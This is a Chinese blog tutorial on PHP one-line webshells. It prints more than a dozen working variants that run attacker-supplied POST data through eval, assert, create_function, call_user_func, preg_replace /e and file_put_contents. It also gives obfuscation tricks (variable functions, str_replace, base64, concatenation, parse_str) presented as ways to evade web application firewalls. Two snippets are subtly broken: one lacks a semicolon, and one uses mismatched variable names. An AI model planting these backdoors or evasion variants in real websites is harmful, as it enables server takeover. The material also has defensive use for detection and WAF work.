溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

PHP中一句話木馬的示例分析

發(fā)布時(shí)間:2021-09-18 14:01:20 來源:億速云 閱讀:267 作者:小新 欄目:編程語言

這篇文章主要為大家展示了“PHP中一句話木馬的示例分析”,內(nèi)容簡(jiǎn)而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學(xué)習(xí)一下“PHP中一句話木馬的示例分析”這篇文章吧。

什么是一句話木馬

一句話木馬就是只需要一行代碼的木馬,短短一行代碼,就能做到和大馬相當(dāng)?shù)墓δ?。為了繞過waf的檢測(cè),一句話木馬出現(xiàn)了無數(shù)中變形,但本質(zhì)是不變的:木馬的函數(shù)執(zhí)行了我們發(fā)送的命令。

我們?nèi)绾伟l(fā)送命令,發(fā)送的命令如何執(zhí)行?

我們可以通過GET 、POST 、COOKIE這三種方式向一個(gè)網(wǎng)站提交數(shù)據(jù),一句話木馬用$_GET[' ']、$_POST[' ']、$_COOKIE[' '] 接收我們傳遞的數(shù)據(jù),并把接收的數(shù)據(jù)傳遞給一句話木馬中執(zhí)行命令的函數(shù),進(jìn)而執(zhí)行命令。
所以看到的經(jīng)典一句話木馬大多都是只有兩個(gè)部分,一個(gè)是可以執(zhí)行代碼的函數(shù)部分,一個(gè)是接收數(shù)據(jù)的部分。

例如:<?php eval(@$_POST['a']); ?>

其中eval就是執(zhí)行命令的函數(shù),$_POST['a']就是接收的數(shù)據(jù)。eval函數(shù)把接收的數(shù)據(jù)當(dāng)作PHP代碼來執(zhí)行。這樣我們就能夠讓插入了一句話木馬的網(wǎng)站執(zhí)行我們傳遞過去的任意PHP語句。這便是一句話木馬的強(qiáng)大之處。

因?yàn)槟抉R是接收post請(qǐng)求中 “a” 的數(shù)據(jù)( $_POST[‘a(chǎn)’]),所以我們必須以post方法發(fā)送數(shù)據(jù)并且將我們要執(zhí)行的代碼賦值給“a”。如果把木馬中的post替換成get,那么我么就需要以GET方法發(fā)送“a”,( 就像這樣: http://127.0.0.1/test.php?a=phpinfo(); )我就不再另行演示了。

使用 其他函數(shù)制作一句話木馬

assert函數(shù)

<?php assert(@$_POST['a']); ?>

create_function函數(shù)

<?php
$fun = create_function('',$_POST['a']);
$fun();
?>

把用戶傳遞的數(shù)據(jù)生成一個(gè)函數(shù)fun(),然后再執(zhí)行fun()

call_user_func回調(diào)函數(shù)

<?php
@call_user_func(assert,$_POST['a']);
?>

call_user_func這個(gè)函數(shù)可以調(diào)用其它函數(shù),被調(diào)用的函數(shù)是call_user_func的第一個(gè)函數(shù),被調(diào)用的函數(shù)的參數(shù)是call_user_func的第二個(gè)參數(shù)。這樣的一個(gè)語句也可以完成一句話木馬。一些被waf攔截的木馬可以配合這個(gè)函數(shù)繞過waf。

preg_replace函數(shù)

<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

這個(gè)函數(shù)原本是利用正則表達(dá)式替換符合條件的字符串,但是這個(gè)函數(shù)有一個(gè)功能——可執(zhí)行命令。這個(gè)函數(shù)的第一個(gè)參數(shù)是正則表達(dá)式,按照PHP的格式,表達(dá)式在兩個(gè)“/”之間。如果我們?cè)谶@個(gè)表達(dá)式的末尾加上“e”,那么這個(gè)函數(shù)的第二個(gè)參數(shù)就會(huì)被當(dāng)作代碼執(zhí)行。

file_put_contents函數(shù)

利用函數(shù)生成木馬

<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

函數(shù)功能:生成一個(gè)文件,第一個(gè)參數(shù)是文件名,第二個(gè)參數(shù)是文件的內(nèi)容。

如何讓一句話木馬繞過waf ?

waf是網(wǎng)站的防火墻,例如安全狗就是waf的一種。waf通常以關(guān)鍵字判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf根本不可能全部攔截。想要繞過waf,需要掌握各種PHP小技巧,掌握的技巧多了,把技巧結(jié)合起來,設(shè)計(jì)出屬于自己的一句話木馬。

PHP變量函數(shù)

<?php
$a = "eval";
$a(@$_POST['a']);
?>

第三行使用了變量函數(shù)$a,變量?jī)?chǔ)存了函數(shù)名eval,便可以直接用變量替代函數(shù)名。

PHP可變變量

<?php
$bb="eval";
$a="bb";
$$aa($_POST['a']);
?>

看這句就能理解上述語句:$$aa = $($aa) = $ (‘bb’) = $bb = "eval"

str_replace函數(shù)

<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>

函數(shù)功能:在第三個(gè)參數(shù)中,查找第一個(gè)參數(shù),并替換成第二個(gè)參數(shù)。這里第二個(gè)參數(shù)為空字符串,就相當(dāng)于刪除"Waldo"。

base64_decode函數(shù)

<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

這里是base64解密函數(shù),"ZXZhbA=="是eval的base64加密。

"."操作符

<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>

parse_str函數(shù)

<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>

執(zhí)行這個(gè)函數(shù)后,生成一個(gè)變量$a,值為字符串"eval"

此文章僅用于學(xué)習(xí)。

以上是“PHP中一句話木馬的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對(duì)大家有所幫助,如果還想學(xué)習(xí)更多知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

php
AI